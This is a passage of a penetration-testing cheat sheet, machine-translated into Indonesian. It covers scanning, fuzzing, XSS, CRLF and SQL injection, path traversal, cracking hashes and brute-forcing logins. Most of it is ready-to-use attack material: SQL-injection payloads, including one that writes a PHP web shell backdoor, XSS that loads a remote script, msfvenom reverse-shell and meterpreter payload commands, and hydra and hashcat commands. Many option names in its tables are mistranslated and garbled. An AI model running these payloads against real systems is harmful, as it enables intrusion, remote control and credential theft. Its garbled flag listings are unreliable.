| --naskah | Script scan (membutuhkan waktu untuk menyelesaikan) |
| --script-args | Berikan argumen ke skrip |
| --script-Help | Tunjukkan Bantuan Tentang Skrip |
| -on/-ox/-og | Pemindaian output dalam format normal, XML, dan grepable |
| -v | Tingkatkan level verbositas (gunakan -VV atau lebih untuk efek yang lebih besar) |
| --alasan | Tampilkan alasan port dalam keadaan tertentu |
| -A | Aktifkan deteksi OS, deteksi versi, pemindaian skrip, dan traceroute |
Semua skrip NMAP terletak di /usr/share/nmap/scripts/ direktori. Baca lebih lanjut tentang skrip di sini.
Contoh NSE:
nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306
nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"'
nmap -nv --script='ssl-heartbleed' -iL cidrs.txt
Anda dapat menemukan rockyou.txt dan subdomains-top1mil.txt Wordlists in Seclists.
Saya lebih suka menggunakan inti untuk pemindaian kerentanan.
Instalasi:
apt-get update && apt-get -y install testssl.shUji sertifikat SSL/TLS (misalnya, cipher SSL/TLS, protokol, dll.):
testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com
Anda juga dapat menggunakan testssl.sh untuk mengeksploitasi kerentanan SSL/TLS.
Uji server web untuk kerentanan hati:
for subdomain in $( cat subdomains_live.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} :443 " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txt
# omit the URL scheme
for subdomain in $( cat subdomains_live_short_https.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txtAmbil sertifikat SSL/TLS:
keytool -printcert -rfc -sslserver somesite.com > keytool_results.txt
openssl x509 -noout -text -in keytool_results.txt
Gunakan Dorks Uncover dengan Shodan dan Sensys SSL/TLS untuk menemukan lebih banyak host in-scope.
Selalu coba login sesi null, yaitu, tidak ada login kata sandi, atau cari di internet untuk kredensial default untuk aplikasi web tertentu.
Cobalah memanipulasi cookie atau token JWT untuk mendapatkan akses atau meningkatkan hak istimewa. Saat keluar, selalu periksa apakah salah satu cookie atau token JWT masih valid.
Selalu periksa penyimpanan lokal browser web, terutama jika menguji aplikasi satu halaman (SPA).
Cobalah untuk mengubah, misalnya, permintaan HTTP POST ke dalam permintaan HTTP Get, yaitu, menjadi string kueri, dan lihat bagaimana server akan bereaksi terhadapnya.
Matikan JavaScript di browser web Anda dan periksa perilaku aplikasi web lagi.
Periksa perilaku aplikasi web pada perangkat seluler karena beberapa fitur mungkin berfungsi secara berbeda. Cobalah memalsukan agen pengguna Anda atau cobalah mengunjungi m.somesite.com .
Jika Anda ingin mengotomatiskan pengujian injeksi kode Anda, periksa sub-bagian WordLists untuk daftar kata injeksi kode. Beberapa daftar kata juga termasuk suntikan kode yang dikalahkan.
Jika Anda melihat jumlah atau jumlah apa pun, cobalah menggunakan Danielmiessler/Seclist/Tree/Master/Fuzzing/Jumlah WordList karena dapat menyebabkan perilaku, kesalahan, atau bahkan mem -bypass batas minimum dan maksimum.
Jangan lupa untuk membersihkan diri Anda sendiri. Hapus semua artefak yang dibuat, termasuk. malware, eksploitasi, alat, skrip, dll., dan mengembalikan semua pengaturan dan perubahan dari host target setelah Anda selesai menguji.
Digunakan saat mencoba mengeksploitasi pengalihan terbuka, scripting silang buta (XSS), interaksi DNS dan HTTP, dll.
Kumpulkan informasi sebanyak mungkin untuk target tertentu, lihat bagaimana dalam 1. Pengintaian.
Kumpulkan nama organisasi dengan whois, dan nama kanonik dengan tuan rumah.
Anda dapat memeriksa ulang apakah domain/subdomain mati dengan gali atau hidup dan httpx.
Periksa apakah penyedia hosting untuk domain/subdomain yang ditemukan rentan terhadap pengambilalihan domain/subdomain di edoverflow/can-i-take-over-over-xyz. Kredit untuk penulis!
Penyedia layanan cloud terbesar:
Instalasi:
go install -v github.com/lukasikic/subzy@latest
Periksa pengambilalihan domain/subdomain:
subzy -concurrency 100 -timeout 3 -targets subdomains_errors.txt | tee subzy_results.txt
Instalasi:
go install -v github.com/haccer/subjack@latestPeriksa pengambilalihan domain/subdomain:
subjack -v -o subjack_results.json -t 100 -timeout 3 -a -m -w subdomains_errors.txt
Cari tahu cara memotong kode status respons HTTP 4xx di Ivan-SinceK/Forbidden.
Pindai server web:
nikto -output nikto_results.txt -h somesite.com -p 80
Pindai situs web WordPress:
wpscan -o wpscan_results.txt --url somesite.com
Instalasi dan Pembaruan:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -up && nuclei -utPemindaian kerentanan, semua templat:
nuclei -c 500 -o nuclei_results.txt -l subdomains_live_long_2xx_4xx.txt
cat nuclei_results.txt | grep -Po ' (?<=] ).+ ' | sort -uf > nuclei_sorted_results.txtHanya pengambilalihan subdomain:
nuclei -c 500 -t takeovers -o nuclei_takeover_results.txt -l subdomains_live.txt
Temukan Parameter Permintaan:
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -u https://somesite.com
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -i subdomains_live_long_2xx.txt
Direktori Fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u https://somesite.com/WFUZZ -w directory-list-lowercase-2.3-medium.txt
Nilai parameter fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"someparam": "WFUZZ"}" -w somewordlist.txt
Parameter Fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"WFUZZ": "somevalue"}" -w somewordlist.txt
Contoh tambahan, fuzzing SSRF internal:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=127.0.0.1:WFUZZ" -w ports.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=WFUZZ:80" -w ips.txt
| Pilihan | Keterangan |
|---|---|
| -F | Simpan hasil di file output |
| -T | Tentukan jumlah koneksi bersamaan (10 default) |
| -S | Tentukan waktu tunda antara permintaan (0 default) |
| -u | Tentukan URL untuk permintaan tersebut |
| -W | Tentukan file wordlist |
| -X | Tentukan metode http untuk permintaan, yaitu, kepala atau fuzz |
| -B | Tentukan cookie untuk permintaan |
| -D | Gunakan data post |
| -H | Gunakan header |
| --hc/-hl/-hw/-hh | Sembunyikan tanggapan dengan kode/baris/kata/chars yang ditentukan |
| -Sc/-SL/-SW/-Sh | Tampilkan tanggapan dengan kode/baris/kata/chars yang ditentukan |
| --ss/-hs | Tampilkan/Sembunyikan tanggapan dengan regex yang ditentukan dalam konten |
Pertama, cobalah untuk mengubah satu nilai ke yang lain, misalnya, ubah [email protected] ke [email protected] , ubah beberapa ID dari 1 menjadi 2 , dll.
Kemungkinan ID bilangan yang lebih rendah akan berhubungan dengan beberapa akun atau peran hak istimewa yang lebih tinggi.
Kedua, coba polusi parameter:
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
email=hacker%40gmail.com,victim%40gmail.com
email=hacker%40gmail.com%20victim%40gmail.com
email=hacker%40gmail.com&email=victim%40gmail.com
email[]=hacker%40gmail.com&email[]=victim%40gmail.com
email=victim%40gmail.com,hacker%40gmail.com
email=victim%40gmail.com%20hacker%40gmail.com
email=victim%40gmail.com&email=hacker%40gmail.com
email[]=victim%40gmail.com&email[]=hacker%40gmail.com
Untuk menghasilkan output di atas, jalankan idor.py:
python3 idor.py -n email -i [email protected] -t [email protected]
Juga dikenal sebagai injeksi CRLF. CRLF mengacu pada carriage return ( ASCII 13 , r ) dan line feed ( ASCII 10 , n ).
Ketika dikodekan, r mengacu pada %0D dan n mengacu pada %0A .
Memperbaiki cookie sesi:
somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789
Buka Redirect:
somesite.com/home.php?marketing=winter%0D%0ALocation:%20https%3A%2F%2Fgithub.com
Fiksasi sesi dan pengalihan terbuka adalah salah satu dari banyak teknik yang digunakan dalam kombinasi dengan pemisahan respons HTTP. Cari di internet untuk lebih banyak teknik.
Payloads Scripting Cross-Site (XSS):
< script > alert ( 1 ) </ script >
< script src =" https://myserver.com/xss.js " > </ script >
< img src =" https://github.com/favicon.ico " onload =" alert(1) " > Hosting JavaScript di Pastebin tidak akan berfungsi karena Pastebin selalu mengembalikan jenis text/plain .
Cari tahu lebih lanjut tentang serangan scripting lintas-situs yang dipantulkan dan disimpan (XSS), serta serangan pemalsuan permintaan lintas-situs (XSRF/CSRF) di Ivan-SinceK/XSS-catcher.
Email yang valid dengan XSS tertanam:
user+( < script > alert ( 1 ) </ script > )@somedomain.com
user@somedomain( < script > alert ( 1 ) </ script > ).com
" < script > alert ( 1 ) </ script > "@somedomain.comMuatan berikut diuji pada database MySQL. Perhatikan bahwa MySQL membutuhkan karakter whitespace antara simbol komentar dan karakter berikutnya.
Jika Anda perlu URL menyandikan karakter whitespace, gunakan %20 atau + sebagai gantinya.
Cobalah untuk menghasilkan kesalahan basis data dengan menyuntikkan satu kutipan, back-slash, double-hyphen, forward-slash, atau periode.
Selalu pastikan untuk menutup kode sekitarnya dengan benar.
Baca artikel OWASP ini untuk mempelajari cara memotong WAF.
SQLI yang berbasis di Boolean:
' OR 1=1--
' OR 1=2--
SQLI Berbasis Union:
' UNION SELECT 1,2,3,4--
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT 1,concat_ws('|',database(),current_user(),version()),3,4--
' UNION SELECT 1,concat_ws('|',table_schema,table_name,column_name,data_type,character_maximum_length),3,4 FROM information_schema.columns--
' UNION SELECT 1,load_file('..\..\apache\conf\httpd.conf'),3,4--
Jika menggunakan, misalnya, 1,2,3,4 tidak berfungsi, coba gunakan NULL,NULL,NULL,NULL .
Gunakan SQLI berbasis Union hanya ketika Anda dapat menggunakan saluran komunikasi yang sama untuk meluncurkan serangan dan mengumpulkan hasil.
Tujuannya adalah untuk menentukan jumlah tepat kolom dalam kueri SQL dan untuk mengetahui mana dari mereka yang ditampilkan kembali kepada pengguna.
Cara lain untuk menentukan jumlah kolom yang tepat adalah dengan menggunakan, misalnya, ' ORDER BY 1-- , di mana 1 adalah nomor kolom yang digunakan untuk penyortiran- bertambah dengan satu pada setiap percobaan.
SQLI berbasis waktu:
' AND (SELECT 1 FROM (SELECT sleep(2)) test)--
' AND (SELECT 1 FROM (SELECT CASE user() WHEN '[email protected]' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT 1 FROM (SELECT CASE substring(current_user(),1,1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM users WHERE id = 1)--
' AND IF(version() LIKE '5%',sleep(2),sleep(0))--
Gunakan SQLI berbasis waktu ketika Anda tidak dapat melihat hasilnya.
Periksa keberadaan/kebenaran:
' AND (SELECT 'exists' FROM users) = 'exists
' AND (SELECT 'exists' FROM users WHERE username = 'administrator') = 'exists
' AND (SELECT 'correct' FROM users WHERE username = 'administrator' AND length(password) < 8 ) = 'correct
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE 'correct' END FROM users WHERE username = 'administrator') = 'correct
'||(SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE '' END FROM users WHERE username = 'administrator')||'
Menyuntikkan shell web php sederhana berdasarkan permintaan get http:
' UNION SELECT '', '', '', '<?php if(isset($_GET["command"])){echo shell_exec($_GET["command"]);} ?>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
' UNION SELECT '', '', '', '<?php $p="command";$o=null;if(isset($_SERVER["REQUEST_METHOD"])&&strtolower($_SERVER["REQUEST_METHOD"])==="get"&&isset($_GET[$p])&&($_GET[$p]=trim($_GET[$p]))&&strlen($_GET[$p])>0){$o=@shell_exec("($_GET[$p]) 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=str_replace("<","<",$o);$o=str_replace(">",">",$o);}} ?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Simple PHP Web Shell</title><meta name="author" content="Ivan Šincek"><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><pre><?php echo $o;unset($o);unset($_GET[$p]); ?></pre></body></html>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
Agar berhasil menyuntikkan shell web, pengguna database saat ini harus memiliki izin tulis.
Menyuntikkan kode SQL ke dalam parameter permintaan:
sqlmap -a -u somesite.com/index.php?username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password
| Pilihan | Keterangan |
|---|---|
| -u | URL target |
| -H | Header HTTP ekstra |
| --data | String data yang akan dikirim melalui posting |
| --kue | Nilai header cookie http |
| --proxy | Gunakan proxy untuk terhubung ke URL target ([protokol: //] host [: port]) |
| -P | Parameter yang dapat diuji |
| --tingkat | Tingkat tes yang akan dilakukan (1-5, default: 1) |
| --mempertaruhkan | Risiko tes untuk melakukan (1-3, default: 1) |
| -A | Ambil semuanya |
| -B | Ambil DBMS Banner |
| --Dump-all | Buang semua entri tabel database DBMS |
| —OS-shell | Prompt untuk shell sistem operasi interaktif |
| —OS-PWN | Meminta shell oob, meterpreter, atau vnc |
| --sqlmap-shell | Meminta shell sqlmap interaktif |
| -Wizard | Antarmuka Wizard Sederhana untuk Pengguna Pemula |
| --DBMS | Untuk melakukan. |
Traverse a Path (mis. somesite.com/../../../etc/passwd ):
dotdotpwn -q -m http -S -o windows -f /windows/win.ini -k mci -h somesite.com
dotdotpwn -q -m http -o unix -f /etc/passwd -k root -h somesite.com
dotdotpwn -q -m http-url -o unix -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL'
Cobalah untuk mempersiapkan protokol seperti file:// , gopher:// , dict:// , php:// , jar:// , ftp:// , tftp:// , dll., Ke jalur file; misalnya, file://TRAVERSAL .
Periksa beberapa tips traversal direktori tambahan di Swisskyrepo/payloadsallthethings. Kredit untuk penulis!
| Pilihan | Keterangan |
|---|---|
| -M | Modul (http, http-url, ftp, payload tftp, stdout) |
| -H | Nama host |
| -HAI | Deteksi Sistem Operasi untuk Fuzzing Cerdas (NMAP) |
| -Hai | Jenis Sistem Operasi Jika Dikenal ("Windows", "Unix", atau "Generik") |
| -D | Kedalaman traversal (default: 6) |
| -F | Nama file spesifik (default: menurut OS terdeteksi) |
| -S | Gunakan SSL untuk HTTP dan Modul Payload (tidak diperlukan untuk HTTP-URL) |
| -u | URL dengan bagian yang akan ditandai sebagai traversal |
| -k | Pola teks agar sesuai dengan respons |
| -P | Nama file dengan muatan yang akan dikirim dan bagian yang akan disingkirkan ditandai dengan kata kunci traversal |
| -X | Port ke terhubung (default: http = 80; ftp = 21; tftp = 69) |
| -U | Nama pengguna (default: 'anonim') |
| -P | Kata sandi (default: 'dot (at) dot.pwn') |
| -M | Metode http untuk digunakan saat menggunakan modul 'http' (dapatkan, posting, kepala, salin, pindahkan, default: dapatkan) |
| -B | Istirahat setelah kerentanan pertama ditemukan |
| -C | Lanjutkan jika tidak ada data yang diterima dari host |
Cari tahu lebih lanjut tentang cangkang PHP di Ivan-SinceK/PHP-Reverse-Shell.
Cari tahu lebih lanjut tentang cangkang Java/JSP di Ivan-SinceK/Java-Reverse-TCP.
Cari tahu cara menghasilkan muatan shell terbalik untuk python dan kirim ke mesin target di Ivan-SinceK/Send-tcp-payload.
Untuk menghasilkan Base64 encoded payload , gunakan salah satu dari perintah MSFVENOM berikut, ubah dengan kebutuhan Anda:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
Untuk menghasilkan binary file , gunakan salah satu dari perintah MSFVENOM berikut, memodifikasinya dengan kebutuhan Anda:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
Untuk menghasilkan DLL file , gunakan salah satu dari perintah MSFVENOM berikut, memodifikasinya dengan kebutuhan Anda:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
Untuk menghasilkan standalone executable , file gunakan salah satu dari perintah MSFVENOM berikut, ubah dengan kebutuhan Anda:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
Untuk menghasilkan MSI file , gunakan salah satu dari perintah MSFVENOM berikut, memodifikasinya dengan kebutuhan Anda:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
Bytecode mungkin tidak berfungsi pada percobaan pertama karena beberapa karakter buruk lainnya. Trial and Error adalah kuncinya.
Sejauh ini tidak ada cara mudah untuk menghasilkan file DLL atau MSI dengan shell meterpreter stageless karena masalah ukuran.
Untuk menghasilkan perintah yang dikodekan PowerShell dari skrip PowerShell, jalankan perintah PowerShell berikut:
[ Convert ]::ToBase64String([ Text.Encoding ]::Unicode.GetBytes([ IO.File ]::ReadAllText( $script )))Untuk menjalankan perintah yang dikodekan PowerShell, jalankan perintah berikut dari PowerShell atau Command Prompt:
PowerShell - ExecutionPolicy Unrestricted - NoProfile - EncodedCommand $commandUntuk memecahkan kode perintah yang dikodekan PowerShell, jalankan perintah PowerShell berikut:
[ Text.Encoding ]::Unicode.GetString([ Convert ]::FromBase64String( $command ))Cari tahu lebih lanjut tentang Reverse PowerShell dan ikat cangkang TCP di Ivan-SinceK/PowerShell-Reverse-TCP.
Google hash sebelum mencoba memecahkannya karena Anda mungkin menghemat banyak waktu dan masalah.
Gunakan Google Dorks, Chad, atau FOCA untuk menemukan dan mengunduh file, dan di dalam metadata file, nama pengguna domain ke Brute Force.
Perlu diingat bahwa Anda mungkin mengunci akun orang.
Beberapa formulir web memiliki tantangan captcha dan/atau token pengiriman tersembunyi yang dapat mencegah Anda dari memaksa brute. Jika itu masalahnya, cobalah untuk mengirimkan permintaan tanpa tanggapan CaptCHA Tantangan dan token pengiriman.
Anda dapat menemukan banyak daftar kata yang bermanfaat di Daftar Pemandu.
Menghasilkan wordlist alpha-numerik yang lebih rendah:
crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt
Lihat daftar semua charset yang tersedia atau tambahkan sendiri di charset.lst yang terletak di /usr/share/crunch/ direktori.
Menghasilkan semua permutasi yang mungkin dari kata -kata:
crunch -o crunch_wordlist.txt -p admin 123 !"
crunch -o crunch_wordlist.txt -q words.txt
Menghasilkan semua kombinasi yang mungkin dari charset:
crunch 4 6 -o crunch_wordlist.txt -p admin123!"
| Pilihan | Keterangan |
|---|---|
| -D | Membatasi jumlah karakter berturut -turut |
| -F | Menentukan set karakter dari file |
| -Saya | Membalikkan output |
| -l | Saat Anda menggunakan opsi -t opsi ini memberi tahu crunch simbol mana yang harus diperlakukan sebagai literal |
| -Hai | Menentukan file untuk menulis output ke |
| -P | Memberitahu crunch untuk menghasilkan/permutasi kata -kata yang tidak memiliki karakter berulang |
| -Q | Memberitahu crunch untuk membaca file dan memungkinkan apa yang dibaca |
| -R | Memberitahu crunch untuk melanjutkan menghasilkan kata -kata dari mana ia ditinggalkan, -r hanya berfungsi jika Anda menggunakan -o |
| -S | Menentukan string awal |
| -T | Menentukan suatu pola |
| Placeholder | Keterangan |
|---|---|
| @ | Karakter huruf kecil |
| , | Karakter Kasus Atas |
| % | Angka |
| ^ | Simbol |
Sayangnya, tidak ada placeholder mulai dari huruf kecil-alpha hingga simbol.
Menghasilkan semua kombinasi yang mungkin dari placeholder:
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^
crunch 10 10 + + 123456 !" -o crunch_wordlist.txt -t admin@@%^^
crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa
Untuk mengidentifikasi tipe hash, jalankan alat berikut:
hash-identifier
Hash Brute Force MD5:
hashcat -m 0 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Hash force netntlmv1:
hashcat -m 5500 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Gunakan --session=<session_name> untuk menyimpan, dan lanjutkan kemajuan Anda nanti menggunakan --restore .
Lanjutkan Memecahkan Kemajuan:
hashcat --session=cracking --restore
| Pilihan | Keterangan |
|---|---|
| -M | Tipe hash, lihat referensi di bawah |
| -A | Mode serangan, lihat referensi di bawah |
| --memaksa | Abaikan peringatan |
| --Runtime | Sesi aborsi setelah x detik runtime |
| --status | Aktifkan pembaruan otomatis layar status |
| -Hai | Mendefinisikan outfile untuk hash pulih |
| --menunjukkan | Tampilkan kata sandi retak yang ditemukan di potfile |
| --sidang | Tentukan nama sesi tertentu |
| --memulihkan | Kembalikan sesi dari -sesi |
| --Restore-File-Path | Jalur spesifik untuk memulihkan file |
| -HAI | Aktifkan kernel yang dioptimalkan (Batasi Panjang Kata Sandi) |
| -1 | Charset yang ditentukan pengguna? 1 |
| -2 | Charset yang ditentukan pengguna? 2 |
| -3 | Charset yang ditentukan pengguna? 3 |
| -4 | Charset yang ditentukan pengguna? 4 |
Saat menentukan charset yang ditentukan pengguna, Escape ? dengan yang lain ? (yaitu, gunakan ?? bukan ? ).
| Tipe hash | Keterangan |
|---|---|
| 0 | Md5 |
| 100 | Sha1 |
| 1400 | Sha256 |
| 1700 | Sha512 |
| 200 | Mysql323 |
| 300 | Mysql4.1/mysql5 |
| 1000 | Ntlm |
| 5500 | Netntlmv1-vanilla / netntlmv1-ess |
| 5600 | Netntlmv2 |
| 2500 | WPA/WPA2 |
| 16800 | WPA-PMKID-PBKDF2 |
| 16500 | JWT (JSON Web Token) |
Untuk lebih banyak jenis hash, baca manual.
| Mode serangan | Nama |
|---|---|
| 0 | Lurus |
| 1 | Kombinasi |
| 3 | Kekuatan brute |
| 6 | Hibrida WordList + Mask |
| 7 | Topeng Hibrida + Daftar Kata |
| 9 | Asosiasi |
| Charset | Keterangan |
|---|---|
| ? l | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| ? | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| ?D | 0123456789 |
| ?S | ! "#$%& '()*+,-./:; <=>?@[]^_` {|} ~ |
| ?A | ? L? U? D? S. |
| ?B | 0x00 - 0xff |
Serangan Kamus:
hashcat -m 100 -a 0 --session=cracking --force --status -O B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt
hashcat -m 5600 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt
Anda dapat menemukan WordList rockyou.txt di Daftar Sekali.
Brute Force a Hash Menggunakan Placeholder:
hashcat -m 0 -a 3 --session=cracking --force --status -O cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2
hashcat -m 0 -a 3 --session=cracking --force --status -O 85fb9a30572c42b19f36d215722e1780 -1 !"#$%&/()=??* -2 ?d?1 ?u?l?l?l?l?2?2?2
Serangan Kamus:
hashcat -m 16500 -a 3 --session=cracking --force --status -O eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
Anda juga dapat memeriksa alat retak JWT saya di Ivan-SinceK/JWT-BF.
Saya lebih suka menggunakan Burp Suite untuk Formulir Web Brute Force, dan Hydra untuk layanan lainnya.
Serangan Kamus pada Formulir Web Login HTTP:
hydra -o hydra_results.txt -l admin -P rockyou.txt somesite.com http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!'
Saat brute memaksa formulir web login, Anda harus menentukan Login=Login:<expected_message> untuk membedakan antara upaya login yang berhasil dan gagal. Ubah Nama Parameter Nama username dan password seperlunya.
Serangan Kamus pada Login Secure Shell (SSH):
hydra -o hydra_results.txt -L users.txt -P rockyou.txt 192.168.8.5 ssh
Anda dapat menemukan banyak daftar kata yang bermanfaat di Daftar Pemandu.
| Pilihan | Keterangan |
|---|---|
| -R | Kembalikan sesi yang dibatalkan/crash sebelumnya |
| -S | Lakukan SSL Connect |
| -HAI | Gunakan SSL V2 dan V3 lama |
| -S | Jika layanan berada di port default yang berbeda, tentukan di sini |
| -l | Masuk dengan nama login |
| -L | Muat beberapa login dari file |
| -P | Masuk dengan kata sandi |
| -P | Muat beberapa kata sandi dari file |
| -X | Kata Sandi Brute Force Generation (Min: Max: Charset), ketik "-x -h" untuk mendapatkan bantuan |
| -y | Nonaktifkan penggunaan simbol dalam bruteforce |
| -e | Coba "n" kata sandi nol, "s" login sebagai lulus dan/atau "r" terbalik login |
| -Hai | Tulis pasangan login/kata sandi yang ditemukan ke file alih -alih stdout |
| -f/-f | Keluar saat pasangan login/pass ditemukan (-f per host, -f global) |
| -M | Daftar server untuk menyerang, satu entri per baris, ':' untuk menentukan port |
| Layanan yang didukung |
|---|
| FTP [S] |
| http [s]-{get | post} -form |
| mysql |
| SMB |
| SMTP [S] |
| snmp |
| ssh |
| Telnet [S] |
| VNC |
Untuk layanan yang lebih didukung, baca manual.
| Sintaksis Brute Force | Keterangan |
|---|---|
| Min | Minimum number of characters in the password |
| Max | Maximum number of characters in the password |
| CHARSET | Charset values are: "a" for lowercase letters, "A" for uppercase letters, "1" for numbers, and for all others, just add their real representation |
Brute force attack on FTP:
hydra -o hydra_results.txt -l admin -x 4:4:aA1!"#$% 192.168.8.5 ftp
After you have collected enough usernames from the reconnaissance phase, it is time to try and brute force some of them.
Find out how to generate a good password spraying wordlist at ivan-sincek/wordlist-extender, but first you will need a few good keywords that describe your target.
Such keywords can include a company name, abbreviations, or words that describe the company's services, products, etc.
